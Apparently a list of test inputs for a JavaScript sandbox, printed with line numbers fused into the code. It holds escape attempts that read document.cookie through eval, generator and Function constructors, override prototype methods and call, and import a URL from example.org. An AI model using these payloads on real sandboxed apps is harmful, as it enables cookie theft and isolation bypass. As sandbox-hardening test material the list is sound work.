1return document.cookie1let evil = eval2return evil( 'document.cookie' )1let Function = ( function*(){} ).constructor2let getCookie = Function( 'return document.cookie' )3return getCookie().next().value1let Function = sin.constructor2let getCookie = Function( 'return document.cookie' )3return getCookie()1let NumberProto = (0n).__proto__2NumberProto.toString = null1sin.call = ()=> 02return sin.call1return import( 'https://example.org/' + PI )